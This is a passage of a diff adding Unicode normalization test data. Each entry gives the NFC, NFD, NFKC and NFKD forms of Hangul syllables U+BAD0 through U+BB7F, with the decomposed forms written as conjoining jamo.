+{ source: [0xBAD0], NFC: [0xBAD0], NFD: [0x1106, 0x116A, 0x11B3], NFKC: [0xBAD0], NFKD: [0x1106, 0x116A, 0x11B3] },
+{ source: [0xBAD1], NFC: [0xBAD1], NFD: [0x1106, 0x116A, 0x11B4], NFKC: [0xBAD1], NFKD: [0x1106, 0x116A, 0x11B4] },
+{ source: [0xBAD2], NFC: [0xBAD2], NFD: [0x1106, 0x116A, 0x11B5], NFKC: [0xBAD2], NFKD: [0x1106, 0x116A, 0x11B5] },
+{ source: [0xBAD3], NFC: [0xBAD3], NFD: [0x1106, 0x116A, 0x11B6], NFKC: [0xBAD3], NFKD: [0x1106, 0x116A, 0x11B6] },
+{ source: [0xBAD4], NFC: [0xBAD4], NFD: [0x1106, 0x116A, 0x11B7], NFKC: [0xBAD4], NFKD: [0x1106, 0x116A, 0x11B7] },
+{ source: [0xBAD5], NFC: [0xBAD5], NFD: [0x1106, 0x116A, 0x11B8], NFKC: [0xBAD5], NFKD: [0x1106, 0x116A, 0x11B8] },
+{ source: [0xBAD6], NFC: [0xBAD6], NFD: [0x1106, 0x116A, 0x11B9], NFKC: [0xBAD6], NFKD: [0x1106, 0x116A, 0x11B9] },
+{ source: [0xBAD7], NFC: [0xBAD7], NFD: [0x1106, 0x116A, 0x11BA], NFKC: [0xBAD7], NFKD: [0x1106, 0x116A, 0x11BA] },
+{ source: [0xBAD8], NFC: [0xBAD8], NFD: [0x1106, 0x116A, 0x11BB], NFKC: [0xBAD8], NFKD: [0x1106, 0x116A, 0x11BB] },
+{ source: [0xBAD9], NFC: [0xBAD9], NFD: [0x1106, 0x116A, 0x11BC], NFKC: [0xBAD9], NFKD: [0x1106, 0x116A, 0x11BC] },
+{ source: [0xBADA], NFC: [0xBADA], NFD: [0x1106, 0x116A, 0x11BD], NFKC: [0xBADA], NFKD: [0x1106, 0x116A, 0x11BD] },
+{ source: [0xBADB], NFC: [0xBADB], NFD: [0x1106, 0x116A, 0x11BE], NFKC: [0xBADB], NFKD: [0x1106, 0x116A, 0x11BE] },
+{ source: [0xBADC], NFC: [0xBADC], NFD: [0x1106, 0x116A, 0x11BF], NFKC: [0xBADC], NFKD: [0x1106, 0x116A, 0x11BF] },
+{ source: [0xBADD], NFC: [0xBADD], NFD: [0x1106, 0x116A, 0x11C0], NFKC: [0xBADD], NFKD: [0x1106, 0x116A, 0x11C0] },
+{ source: [0xBADE], NFC: [0xBADE], NFD: [0x1106, 0x116A, 0x11C1], NFKC: [0xBADE], NFKD: [0x1106, 0x116A, 0x11C1] },
+{ source: [0xBADF], NFC: [0xBADF], NFD: [0x1106, 0x116A, 0x11C2], NFKC: [0xBADF], NFKD: [0x1106, 0x116A, 0x11C2] },
+{ source: [0xBAE0], NFC: [0xBAE0], NFD: [0x1106, 0x116B], NFKC: [0xBAE0], NFKD: [0x1106, 0x116B] },
+{ source: [0xBAE1], NFC: [0xBAE1], NFD: [0x1106, 0x116B, 0x11A8], NFKC: [0xBAE1], NFKD: [0x1106, 0x116B, 0x11A8] },
+{ source: [0xBAE2], NFC: [0xBAE2], NFD: [0x1106, 0x116B, 0x11A9], NFKC: [0xBAE2], NFKD: [0x1106, 0x116B, 0x11A9] },
+{ source: [0xBAE3], NFC: [0xBAE3], NFD: [0x1106, 0x116B, 0x11AA], NFKC: [0xBAE3], NFKD: [0x1106, 0x116B, 0x11AA] },
+{ source: [0xBAE4], NFC: [0xBAE4], NFD: [0x1106, 0x116B, 0x11AB], NFKC: [0xBAE4], NFKD: [0x1106, 0x116B, 0x11AB] },
+{ source: [0xBAE5], NFC: [0xBAE5], NFD: [0x1106, 0x116B, 0x11AC], NFKC: [0xBAE5], NFKD: [0x1106, 0x116B, 0x11AC] },
+{ source: [0xBAE6], NFC: [0xBAE6], NFD: [0x1106, 0x116B, 0x11AD], NFKC: [0xBAE6], NFKD: [0x1106, 0x116B, 0x11AD] },
+{ source: [0xBAE7], NFC: [0xBAE7], NFD: [0x1106, 0x116B, 0x11AE], NFKC: [0xBAE7], NFKD: [0x1106, 0x116B, 0x11AE] },
+{ source: [0xBAE8], NFC: [0xBAE8], NFD: [0x1106, 0x116B, 0x11AF], NFKC: [0xBAE8], NFKD: [0x1106, 0x116B, 0x11AF] },
+{ source: [0xBAE9], NFC: [0xBAE9], NFD: [0x1106, 0x116B, 0x11B0], NFKC: [0xBAE9], NFKD: [0x1106, 0x116B, 0x11B0] },
+{ source: [0xBAEA], NFC: [0xBAEA], NFD: [0x1106, 0x116B, 0x11B1], NFKC: [0xBAEA], NFKD: [0x1106, 0x116B, 0x11B1] },
+{ source: [0xBAEB], NFC: [0xBAEB], NFD: [0x1106, 0x116B, 0x11B2], NFKC: [0xBAEB], NFKD: [0x1106, 0x116B, 0x11B2] },
+{ source: [0xBAEC], NFC: [0xBAEC], NFD: [0x1106, 0x116B, 0x11B3], NFKC: [0xBAEC], NFKD: [0x1106, 0x116B, 0x11B3] },
+{ source: [0xBAED], NFC: [0xBAED], NFD: [0x1106, 0x116B, 0x11B4], NFKC: [0xBAED], NFKD: [0x1106, 0x116B, 0x11B4] },
+{ source: [0xBAEE], NFC: [0xBAEE], NFD: [0x1106, 0x116B, 0x11B5], NFKC: [0xBAEE], NFKD: [0x1106, 0x116B, 0x11B5] },
+{ source: [0xBAEF], NFC: [0xBAEF], NFD: [0x1106, 0x116B, 0x11B6], NFKC: [0xBAEF], NFKD: [0x1106, 0x116B, 0x11B6] },
+{ source: [0xBAF0], NFC: [0xBAF0], NFD: [0x1106, 0x116B, 0x11B7], NFKC: [0xBAF0], NFKD: [0x1106, 0x116B, 0x11B7] },
+{ source: [0xBAF1], NFC: [0xBAF1], NFD: [0x1106, 0x116B, 0x11B8], NFKC: [0xBAF1], NFKD: [0x1106, 0x116B, 0x11B8] },
+{ source: [0xBAF2], NFC: [0xBAF2], NFD: [0x1106, 0x116B, 0x11B9], NFKC: [0xBAF2], NFKD: [0x1106, 0x116B, 0x11B9] },
+{ source: [0xBAF3], NFC: [0xBAF3], NFD: [0x1106, 0x116B, 0x11BA], NFKC: [0xBAF3], NFKD: [0x1106, 0x116B, 0x11BA] },
+{ source: [0xBAF4], NFC: [0xBAF4], NFD: [0x1106, 0x116B, 0x11BB], NFKC: [0xBAF4], NFKD: [0x1106, 0x116B, 0x11BB] },
+{ source: [0xBAF5], NFC: [0xBAF5], NFD: [0x1106, 0x116B, 0x11BC], NFKC: [0xBAF5], NFKD: [0x1106, 0x116B, 0x11BC] },
+{ source: [0xBAF6], NFC: [0xBAF6], NFD: [0x1106, 0x116B, 0x11BD], NFKC: [0xBAF6], NFKD: [0x1106, 0x116B, 0x11BD] },
+{ source: [0xBAF7], NFC: [0xBAF7], NFD: [0x1106, 0x116B, 0x11BE], NFKC: [0xBAF7], NFKD: [0x1106, 0x116B, 0x11BE] },
+{ source: [0xBAF8], NFC: [0xBAF8], NFD: [0x1106, 0x116B, 0x11BF], NFKC: [0xBAF8], NFKD: [0x1106, 0x116B, 0x11BF] },
+{ source: [0xBAF9], NFC: [0xBAF9], NFD: [0x1106, 0x116B, 0x11C0], NFKC: [0xBAF9], NFKD: [0x1106, 0x116B, 0x11C0] },
+{ source: [0xBAFA], NFC: [0xBAFA], NFD: [0x1106, 0x116B, 0x11C1], NFKC: [0xBAFA], NFKD: [0x1106, 0x116B, 0x11C1] },
+{ source: [0xBAFB], NFC: [0xBAFB], NFD: [0x1106, 0x116B, 0x11C2], NFKC: [0xBAFB], NFKD: [0x1106, 0x116B, 0x11C2] },
+{ source: [0xBAFC], NFC: [0xBAFC], NFD: [0x1106, 0x116C], NFKC: [0xBAFC], NFKD: [0x1106, 0x116C] },
+{ source: [0xBAFD], NFC: [0xBAFD], NFD: [0x1106, 0x116C, 0x11A8], NFKC: [0xBAFD], NFKD: [0x1106, 0x116C, 0x11A8] },
+{ source: [0xBAFE], NFC: [0xBAFE], NFD: [0x1106, 0x116C, 0x11A9], NFKC: [0xBAFE], NFKD: [0x1106, 0x116C, 0x11A9] },
+{ source: [0xBAFF], NFC: [0xBAFF], NFD: [0x1106, 0x116C, 0x11AA], NFKC: [0xBAFF], NFKD: [0x1106, 0x116C, 0x11AA] },
+{ source: [0xBB00], NFC: [0xBB00], NFD: [0x1106, 0x116C, 0x11AB], NFKC: [0xBB00], NFKD: [0x1106, 0x116C, 0x11AB] },
+{ source: [0xBB01], NFC: [0xBB01], NFD: [0x1106, 0x116C, 0x11AC], NFKC: [0xBB01], NFKD: [0x1106, 0x116C, 0x11AC] },
+{ source: [0xBB02], NFC: [0xBB02], NFD: [0x1106, 0x116C, 0x11AD], NFKC: [0xBB02], NFKD: [0x1106, 0x116C, 0x11AD] },
+{ source: [0xBB03], NFC: [0xBB03], NFD: [0x1106, 0x116C, 0x11AE], NFKC: [0xBB03], NFKD: [0x1106, 0x116C, 0x11AE] },
+{ source: [0xBB04], NFC: [0xBB04], NFD: [0x1106, 0x116C, 0x11AF], NFKC: [0xBB04], NFKD: [0x1106, 0x116C, 0x11AF] },
+{ source: [0xBB05], NFC: [0xBB05], NFD: [0x1106, 0x116C, 0x11B0], NFKC: [0xBB05], NFKD: [0x1106, 0x116C, 0x11B0] },
+{ source: [0xBB06], NFC: [0xBB06], NFD: [0x1106, 0x116C, 0x11B1], NFKC: [0xBB06], NFKD: [0x1106, 0x116C, 0x11B1] },
+{ source: [0xBB07], NFC: [0xBB07], NFD: [0x1106, 0x116C, 0x11B2], NFKC: [0xBB07], NFKD: [0x1106, 0x116C, 0x11B2] },
+{ source: [0xBB08], NFC: [0xBB08], NFD: [0x1106, 0x116C, 0x11B3], NFKC: [0xBB08], NFKD: [0x1106, 0x116C, 0x11B3] },
+{ source: [0xBB09], NFC: [0xBB09], NFD: [0x1106, 0x116C, 0x11B4], NFKC: [0xBB09], NFKD: [0x1106, 0x116C, 0x11B4] },
+{ source: [0xBB0A], NFC: [0xBB0A], NFD: [0x1106, 0x116C, 0x11B5], NFKC: [0xBB0A], NFKD: [0x1106, 0x116C, 0x11B5] },
+{ source: [0xBB0B], NFC: [0xBB0B], NFD: [0x1106, 0x116C, 0x11B6], NFKC: [0xBB0B], NFKD: [0x1106, 0x116C, 0x11B6] },
+{ source: [0xBB0C], NFC: [0xBB0C], NFD: [0x1106, 0x116C, 0x11B7], NFKC: [0xBB0C], NFKD: [0x1106, 0x116C, 0x11B7] },
+{ source: [0xBB0D], NFC: [0xBB0D], NFD: [0x1106, 0x116C, 0x11B8], NFKC: [0xBB0D], NFKD: [0x1106, 0x116C, 0x11B8] },
+{ source: [0xBB0E], NFC: [0xBB0E], NFD: [0x1106, 0x116C, 0x11B9], NFKC: [0xBB0E], NFKD: [0x1106, 0x116C, 0x11B9] },
+{ source: [0xBB0F], NFC: [0xBB0F], NFD: [0x1106, 0x116C, 0x11BA], NFKC: [0xBB0F], NFKD: [0x1106, 0x116C, 0x11BA] },
+{ source: [0xBB10], NFC: [0xBB10], NFD: [0x1106, 0x116C, 0x11BB], NFKC: [0xBB10], NFKD: [0x1106, 0x116C, 0x11BB] },
+{ source: [0xBB11], NFC: [0xBB11], NFD: [0x1106, 0x116C, 0x11BC], NFKC: [0xBB11], NFKD: [0x1106, 0x116C, 0x11BC] },
+{ source: [0xBB12], NFC: [0xBB12], NFD: [0x1106, 0x116C, 0x11BD], NFKC: [0xBB12], NFKD: [0x1106, 0x116C, 0x11BD] },
+{ source: [0xBB13], NFC: [0xBB13], NFD: [0x1106, 0x116C, 0x11BE], NFKC: [0xBB13], NFKD: [0x1106, 0x116C, 0x11BE] },
+{ source: [0xBB14], NFC: [0xBB14], NFD: [0x1106, 0x116C, 0x11BF], NFKC: [0xBB14], NFKD: [0x1106, 0x116C, 0x11BF] },
+{ source: [0xBB15], NFC: [0xBB15], NFD: [0x1106, 0x116C, 0x11C0], NFKC: [0xBB15], NFKD: [0x1106, 0x116C, 0x11C0] },
+{ source: [0xBB16], NFC: [0xBB16], NFD: [0x1106, 0x116C, 0x11C1], NFKC: [0xBB16], NFKD: [0x1106, 0x116C, 0x11C1] },
+{ source: [0xBB17], NFC: [0xBB17], NFD: [0x1106, 0x116C, 0x11C2], NFKC: [0xBB17], NFKD: [0x1106, 0x116C, 0x11C2] },
+{ source: [0xBB18], NFC: [0xBB18], NFD: [0x1106, 0x116D], NFKC: [0xBB18], NFKD: [0x1106, 0x116D] },
+{ source: [0xBB19], NFC: [0xBB19], NFD: [0x1106, 0x116D, 0x11A8], NFKC: [0xBB19], NFKD: [0x1106, 0x116D, 0x11A8] },
+{ source: [0xBB1A], NFC: [0xBB1A], NFD: [0x1106, 0x116D, 0x11A9], NFKC: [0xBB1A], NFKD: [0x1106, 0x116D, 0x11A9] },
+{ source: [0xBB1B], NFC: [0xBB1B], NFD: [0x1106, 0x116D, 0x11AA], NFKC: [0xBB1B], NFKD: [0x1106, 0x116D, 0x11AA] },
+{ source: [0xBB1C], NFC: [0xBB1C], NFD: [0x1106, 0x116D, 0x11AB], NFKC: [0xBB1C], NFKD: [0x1106, 0x116D, 0x11AB] },
+{ source: [0xBB1D], NFC: [0xBB1D], NFD: [0x1106, 0x116D, 0x11AC], NFKC: [0xBB1D], NFKD: [0x1106, 0x116D, 0x11AC] },
+{ source: [0xBB1E], NFC: [0xBB1E], NFD: [0x1106, 0x116D, 0x11AD], NFKC: [0xBB1E], NFKD: [0x1106, 0x116D, 0x11AD] },
+{ source: [0xBB1F], NFC: [0xBB1F], NFD: [0x1106, 0x116D, 0x11AE], NFKC: [0xBB1F], NFKD: [0x1106, 0x116D, 0x11AE] },
+{ source: [0xBB20], NFC: [0xBB20], NFD: [0x1106, 0x116D, 0x11AF], NFKC: [0xBB20], NFKD: [0x1106, 0x116D, 0x11AF] },
+{ source: [0xBB21], NFC: [0xBB21], NFD: [0x1106, 0x116D, 0x11B0], NFKC: [0xBB21], NFKD: [0x1106, 0x116D, 0x11B0] },
+{ source: [0xBB22], NFC: [0xBB22], NFD: [0x1106, 0x116D, 0x11B1], NFKC: [0xBB22], NFKD: [0x1106, 0x116D, 0x11B1] },
+{ source: [0xBB23], NFC: [0xBB23], NFD: [0x1106, 0x116D, 0x11B2], NFKC: [0xBB23], NFKD: [0x1106, 0x116D, 0x11B2] },
+{ source: [0xBB24], NFC: [0xBB24], NFD: [0x1106, 0x116D, 0x11B3], NFKC: [0xBB24], NFKD: [0x1106, 0x116D, 0x11B3] },
+{ source: [0xBB25], NFC: [0xBB25], NFD: [0x1106, 0x116D, 0x11B4], NFKC: [0xBB25], NFKD: [0x1106, 0x116D, 0x11B4] },
+{ source: [0xBB26], NFC: [0xBB26], NFD: [0x1106, 0x116D, 0x11B5], NFKC: [0xBB26], NFKD: [0x1106, 0x116D, 0x11B5] },
+{ source: [0xBB27], NFC: [0xBB27], NFD: [0x1106, 0x116D, 0x11B6], NFKC: [0xBB27], NFKD: [0x1106, 0x116D, 0x11B6] },
+{ source: [0xBB28], NFC: [0xBB28], NFD: [0x1106, 0x116D, 0x11B7], NFKC: [0xBB28], NFKD: [0x1106, 0x116D, 0x11B7] },
+{ source: [0xBB29], NFC: [0xBB29], NFD: [0x1106, 0x116D, 0x11B8], NFKC: [0xBB29], NFKD: [0x1106, 0x116D, 0x11B8] },
+{ source: [0xBB2A], NFC: [0xBB2A], NFD: [0x1106, 0x116D, 0x11B9], NFKC: [0xBB2A], NFKD: [0x1106, 0x116D, 0x11B9] },
+{ source: [0xBB2B], NFC: [0xBB2B], NFD: [0x1106, 0x116D, 0x11BA], NFKC: [0xBB2B], NFKD: [0x1106, 0x116D, 0x11BA] },
+{ source: [0xBB2C], NFC: [0xBB2C], NFD: [0x1106, 0x116D, 0x11BB], NFKC: [0xBB2C], NFKD: [0x1106, 0x116D, 0x11BB] },
+{ source: [0xBB2D], NFC: [0xBB2D], NFD: [0x1106, 0x116D, 0x11BC], NFKC: [0xBB2D], NFKD: [0x1106, 0x116D, 0x11BC] },
+{ source: [0xBB2E], NFC: [0xBB2E], NFD: [0x1106, 0x116D, 0x11BD], NFKC: [0xBB2E], NFKD: [0x1106, 0x116D, 0x11BD] },
+{ source: [0xBB2F], NFC: [0xBB2F], NFD: [0x1106, 0x116D, 0x11BE], NFKC: [0xBB2F], NFKD: [0x1106, 0x116D, 0x11BE] },
+{ source: [0xBB30], NFC: [0xBB30], NFD: [0x1106, 0x116D, 0x11BF], NFKC: [0xBB30], NFKD: [0x1106, 0x116D, 0x11BF] },
+{ source: [0xBB31], NFC: [0xBB31], NFD: [0x1106, 0x116D, 0x11C0], NFKC: [0xBB31], NFKD: [0x1106, 0x116D, 0x11C0] },
+{ source: [0xBB32], NFC: [0xBB32], NFD: [0x1106, 0x116D, 0x11C1], NFKC: [0xBB32], NFKD: [0x1106, 0x116D, 0x11C1] },
+{ source: [0xBB33], NFC: [0xBB33], NFD: [0x1106, 0x116D, 0x11C2], NFKC: [0xBB33], NFKD: [0x1106, 0x116D, 0x11C2] },
+{ source: [0xBB34], NFC: [0xBB34], NFD: [0x1106, 0x116E], NFKC: [0xBB34], NFKD: [0x1106, 0x116E] },
+{ source: [0xBB35], NFC: [0xBB35], NFD: [0x1106, 0x116E, 0x11A8], NFKC: [0xBB35], NFKD: [0x1106, 0x116E, 0x11A8] },
+{ source: [0xBB36], NFC: [0xBB36], NFD: [0x1106, 0x116E, 0x11A9], NFKC: [0xBB36], NFKD: [0x1106, 0x116E, 0x11A9] },
+{ source: [0xBB37], NFC: [0xBB37], NFD: [0x1106, 0x116E, 0x11AA], NFKC: [0xBB37], NFKD: [0x1106, 0x116E, 0x11AA] },
+{ source: [0xBB38], NFC: [0xBB38], NFD: [0x1106, 0x116E, 0x11AB], NFKC: [0xBB38], NFKD: [0x1106, 0x116E, 0x11AB] },
+{ source: [0xBB39], NFC: [0xBB39], NFD: [0x1106, 0x116E, 0x11AC], NFKC: [0xBB39], NFKD: [0x1106, 0x116E, 0x11AC] },
+{ source: [0xBB3A], NFC: [0xBB3A], NFD: [0x1106, 0x116E, 0x11AD], NFKC: [0xBB3A], NFKD: [0x1106, 0x116E, 0x11AD] },
+{ source: [0xBB3B], NFC: [0xBB3B], NFD: [0x1106, 0x116E, 0x11AE], NFKC: [0xBB3B], NFKD: [0x1106, 0x116E, 0x11AE] },
+{ source: [0xBB3C], NFC: [0xBB3C], NFD: [0x1106, 0x116E, 0x11AF], NFKC: [0xBB3C], NFKD: [0x1106, 0x116E, 0x11AF] },
+{ source: [0xBB3D], NFC: [0xBB3D], NFD: [0x1106, 0x116E, 0x11B0], NFKC: [0xBB3D], NFKD: [0x1106, 0x116E, 0x11B0] },
+{ source: [0xBB3E], NFC: [0xBB3E], NFD: [0x1106, 0x116E, 0x11B1], NFKC: [0xBB3E], NFKD: [0x1106, 0x116E, 0x11B1] },
+{ source: [0xBB3F], NFC: [0xBB3F], NFD: [0x1106, 0x116E, 0x11B2], NFKC: [0xBB3F], NFKD: [0x1106, 0x116E, 0x11B2] },
+{ source: [0xBB40], NFC: [0xBB40], NFD: [0x1106, 0x116E, 0x11B3], NFKC: [0xBB40], NFKD: [0x1106, 0x116E, 0x11B3] },
+{ source: [0xBB41], NFC: [0xBB41], NFD: [0x1106, 0x116E, 0x11B4], NFKC: [0xBB41], NFKD: [0x1106, 0x116E, 0x11B4] },
+{ source: [0xBB42], NFC: [0xBB42], NFD: [0x1106, 0x116E, 0x11B5], NFKC: [0xBB42], NFKD: [0x1106, 0x116E, 0x11B5] },
+{ source: [0xBB43], NFC: [0xBB43], NFD: [0x1106, 0x116E, 0x11B6], NFKC: [0xBB43], NFKD: [0x1106, 0x116E, 0x11B6] },
+{ source: [0xBB44], NFC: [0xBB44], NFD: [0x1106, 0x116E, 0x11B7], NFKC: [0xBB44], NFKD: [0x1106, 0x116E, 0x11B7] },
+{ source: [0xBB45], NFC: [0xBB45], NFD: [0x1106, 0x116E, 0x11B8], NFKC: [0xBB45], NFKD: [0x1106, 0x116E, 0x11B8] },
+{ source: [0xBB46], NFC: [0xBB46], NFD: [0x1106, 0x116E, 0x11B9], NFKC: [0xBB46], NFKD: [0x1106, 0x116E, 0x11B9] },
+{ source: [0xBB47], NFC: [0xBB47], NFD: [0x1106, 0x116E, 0x11BA], NFKC: [0xBB47], NFKD: [0x1106, 0x116E, 0x11BA] },
+{ source: [0xBB48], NFC: [0xBB48], NFD: [0x1106, 0x116E, 0x11BB], NFKC: [0xBB48], NFKD: [0x1106, 0x116E, 0x11BB] },
+{ source: [0xBB49], NFC: [0xBB49], NFD: [0x1106, 0x116E, 0x11BC], NFKC: [0xBB49], NFKD: [0x1106, 0x116E, 0x11BC] },
+{ source: [0xBB4A], NFC: [0xBB4A], NFD: [0x1106, 0x116E, 0x11BD], NFKC: [0xBB4A], NFKD: [0x1106, 0x116E, 0x11BD] },
+{ source: [0xBB4B], NFC: [0xBB4B], NFD: [0x1106, 0x116E, 0x11BE], NFKC: [0xBB4B], NFKD: [0x1106, 0x116E, 0x11BE] },
+{ source: [0xBB4C], NFC: [0xBB4C], NFD: [0x1106, 0x116E, 0x11BF], NFKC: [0xBB4C], NFKD: [0x1106, 0x116E, 0x11BF] },
+{ source: [0xBB4D], NFC: [0xBB4D], NFD: [0x1106, 0x116E, 0x11C0], NFKC: [0xBB4D], NFKD: [0x1106, 0x116E, 0x11C0] },
+{ source: [0xBB4E], NFC: [0xBB4E], NFD: [0x1106, 0x116E, 0x11C1], NFKC: [0xBB4E], NFKD: [0x1106, 0x116E, 0x11C1] },
+{ source: [0xBB4F], NFC: [0xBB4F], NFD: [0x1106, 0x116E, 0x11C2], NFKC: [0xBB4F], NFKD: [0x1106, 0x116E, 0x11C2] },
+{ source: [0xBB50], NFC: [0xBB50], NFD: [0x1106, 0x116F], NFKC: [0xBB50], NFKD: [0x1106, 0x116F] },
+{ source: [0xBB51], NFC: [0xBB51], NFD: [0x1106, 0x116F, 0x11A8], NFKC: [0xBB51], NFKD: [0x1106, 0x116F, 0x11A8] },
+{ source: [0xBB52], NFC: [0xBB52], NFD: [0x1106, 0x116F, 0x11A9], NFKC: [0xBB52], NFKD: [0x1106, 0x116F, 0x11A9] },
+{ source: [0xBB53], NFC: [0xBB53], NFD: [0x1106, 0x116F, 0x11AA], NFKC: [0xBB53], NFKD: [0x1106, 0x116F, 0x11AA] },
+{ source: [0xBB54], NFC: [0xBB54], NFD: [0x1106, 0x116F, 0x11AB], NFKC: [0xBB54], NFKD: [0x1106, 0x116F, 0x11AB] },
+{ source: [0xBB55], NFC: [0xBB55], NFD: [0x1106, 0x116F, 0x11AC], NFKC: [0xBB55], NFKD: [0x1106, 0x116F, 0x11AC] },
+{ source: [0xBB56], NFC: [0xBB56], NFD: [0x1106, 0x116F, 0x11AD], NFKC: [0xBB56], NFKD: [0x1106, 0x116F, 0x11AD] },
+{ source: [0xBB57], NFC: [0xBB57], NFD: [0x1106, 0x116F, 0x11AE], NFKC: [0xBB57], NFKD: [0x1106, 0x116F, 0x11AE] },
+{ source: [0xBB58], NFC: [0xBB58], NFD: [0x1106, 0x116F, 0x11AF], NFKC: [0xBB58], NFKD: [0x1106, 0x116F, 0x11AF] },
+{ source: [0xBB59], NFC: [0xBB59], NFD: [0x1106, 0x116F, 0x11B0], NFKC: [0xBB59], NFKD: [0x1106, 0x116F, 0x11B0] },
+{ source: [0xBB5A], NFC: [0xBB5A], NFD: [0x1106, 0x116F, 0x11B1], NFKC: [0xBB5A], NFKD: [0x1106, 0x116F, 0x11B1] },
+{ source: [0xBB5B], NFC: [0xBB5B], NFD: [0x1106, 0x116F, 0x11B2], NFKC: [0xBB5B], NFKD: [0x1106, 0x116F, 0x11B2] },
+{ source: [0xBB5C], NFC: [0xBB5C], NFD: [0x1106, 0x116F, 0x11B3], NFKC: [0xBB5C], NFKD: [0x1106, 0x116F, 0x11B3] },
+{ source: [0xBB5D], NFC: [0xBB5D], NFD: [0x1106, 0x116F, 0x11B4], NFKC: [0xBB5D], NFKD: [0x1106, 0x116F, 0x11B4] },
+{ source: [0xBB5E], NFC: [0xBB5E], NFD: [0x1106, 0x116F, 0x11B5], NFKC: [0xBB5E], NFKD: [0x1106, 0x116F, 0x11B5] },
+{ source: [0xBB5F], NFC: [0xBB5F], NFD: [0x1106, 0x116F, 0x11B6], NFKC: [0xBB5F], NFKD: [0x1106, 0x116F, 0x11B6] },
+{ source: [0xBB60], NFC: [0xBB60], NFD: [0x1106, 0x116F, 0x11B7], NFKC: [0xBB60], NFKD: [0x1106, 0x116F, 0x11B7] },
+{ source: [0xBB61], NFC: [0xBB61], NFD: [0x1106, 0x116F, 0x11B8], NFKC: [0xBB61], NFKD: [0x1106, 0x116F, 0x11B8] },
+{ source: [0xBB62], NFC: [0xBB62], NFD: [0x1106, 0x116F, 0x11B9], NFKC: [0xBB62], NFKD: [0x1106, 0x116F, 0x11B9] },
+{ source: [0xBB63], NFC: [0xBB63], NFD: [0x1106, 0x116F, 0x11BA], NFKC: [0xBB63], NFKD: [0x1106, 0x116F, 0x11BA] },
+{ source: [0xBB64], NFC: [0xBB64], NFD: [0x1106, 0x116F, 0x11BB], NFKC: [0xBB64], NFKD: [0x1106, 0x116F, 0x11BB] },
+{ source: [0xBB65], NFC: [0xBB65], NFD: [0x1106, 0x116F, 0x11BC], NFKC: [0xBB65], NFKD: [0x1106, 0x116F, 0x11BC] },
+{ source: [0xBB66], NFC: [0xBB66], NFD: [0x1106, 0x116F, 0x11BD], NFKC: [0xBB66], NFKD: [0x1106, 0x116F, 0x11BD] },
+{ source: [0xBB67], NFC: [0xBB67], NFD: [0x1106, 0x116F, 0x11BE], NFKC: [0xBB67], NFKD: [0x1106, 0x116F, 0x11BE] },
+{ source: [0xBB68], NFC: [0xBB68], NFD: [0x1106, 0x116F, 0x11BF], NFKC: [0xBB68], NFKD: [0x1106, 0x116F, 0x11BF] },
+{ source: [0xBB69], NFC: [0xBB69], NFD: [0x1106, 0x116F, 0x11C0], NFKC: [0xBB69], NFKD: [0x1106, 0x116F, 0x11C0] },
+{ source: [0xBB6A], NFC: [0xBB6A], NFD: [0x1106, 0x116F, 0x11C1], NFKC: [0xBB6A], NFKD: [0x1106, 0x116F, 0x11C1] },
+{ source: [0xBB6B], NFC: [0xBB6B], NFD: [0x1106, 0x116F, 0x11C2], NFKC: [0xBB6B], NFKD: [0x1106, 0x116F, 0x11C2] },
+{ source: [0xBB6C], NFC: [0xBB6C], NFD: [0x1106, 0x1170], NFKC: [0xBB6C], NFKD: [0x1106, 0x1170] },
+{ source: [0xBB6D], NFC: [0xBB6D], NFD: [0x1106, 0x1170, 0x11A8], NFKC: [0xBB6D], NFKD: [0x1106, 0x1170, 0x11A8] },
+{ source: [0xBB6E], NFC: [0xBB6E], NFD: [0x1106, 0x1170, 0x11A9], NFKC: [0xBB6E], NFKD: [0x1106, 0x1170, 0x11A9] },
+{ source: [0xBB6F], NFC: [0xBB6F], NFD: [0x1106, 0x1170, 0x11AA], NFKC: [0xBB6F], NFKD: [0x1106, 0x1170, 0x11AA] },
+{ source: [0xBB70], NFC: [0xBB70], NFD: [0x1106, 0x1170, 0x11AB], NFKC: [0xBB70], NFKD: [0x1106, 0x1170, 0x11AB] },
+{ source: [0xBB71], NFC: [0xBB71], NFD: [0x1106, 0x1170, 0x11AC], NFKC: [0xBB71], NFKD: [0x1106, 0x1170, 0x11AC] },
+{ source: [0xBB72], NFC: [0xBB72], NFD: [0x1106, 0x1170, 0x11AD], NFKC: [0xBB72], NFKD: [0x1106, 0x1170, 0x11AD] },
+{ source: [0xBB73], NFC: [0xBB73], NFD: [0x1106, 0x1170, 0x11AE], NFKC: [0xBB73], NFKD: [0x1106, 0x1170, 0x11AE] },
+{ source: [0xBB74], NFC: [0xBB74], NFD: [0x1106, 0x1170, 0x11AF], NFKC: [0xBB74], NFKD: [0x1106, 0x1170, 0x11AF] },
+{ source: [0xBB75], NFC: [0xBB75], NFD: [0x1106, 0x1170, 0x11B0], NFKC: [0xBB75], NFKD: [0x1106, 0x1170, 0x11B0] },
+{ source: [0xBB76], NFC: [0xBB76], NFD: [0x1106, 0x1170, 0x11B1], NFKC: [0xBB76], NFKD: [0x1106, 0x1170, 0x11B1] },
+{ source: [0xBB77], NFC: [0xBB77], NFD: [0x1106, 0x1170, 0x11B2], NFKC: [0xBB77], NFKD: [0x1106, 0x1170, 0x11B2] },
+{ source: [0xBB78], NFC: [0xBB78], NFD: [0x1106, 0x1170, 0x11B3], NFKC: [0xBB78], NFKD: [0x1106, 0x1170, 0x11B3] },
+{ source: [0xBB79], NFC: [0xBB79], NFD: [0x1106, 0x1170, 0x11B4], NFKC: [0xBB79], NFKD: [0x1106, 0x1170, 0x11B4] },
+{ source: [0xBB7A], NFC: [0xBB7A], NFD: [0x1106, 0x1170, 0x11B5], NFKC: [0xBB7A], NFKD: [0x1106, 0x1170, 0x11B5] },
+{ source: [0xBB7B], NFC: [0xBB7B], NFD: [0x1106, 0x1170, 0x11B6], NFKC: [0xBB7B], NFKD: [0x1106, 0x1170, 0x11B6] },
+{ source: [0xBB7C], NFC: [0xBB7C], NFD: [0x1106, 0x1170, 0x11B7], NFKC: [0xBB7C], NFKD: [0x1106, 0x1170, 0x11B7] },
+{ source: [0xBB7D], NFC: [0xBB7D], NFD: [0x1106, 0x1170, 0x11B8], NFKC: [0xBB7D], NFKD: [0x1106, 0x1170, 0x11B8] },
+{ source: [0xBB7E], NFC: [0xBB7E], NFD: [0x1106, 0x1170, 0x11B9], NFKC: [0xBB7E], NFKD: [0x1106, 0x1170, 0x11B9] },
+{ source: [0xBB7F], NFC: [0xBB7F], NFD: [0x1106, 0x1170, 0x11BA], NFKC: [0xBB7F], NFKD: [0x1106, 0x1170, 0x11BA] },
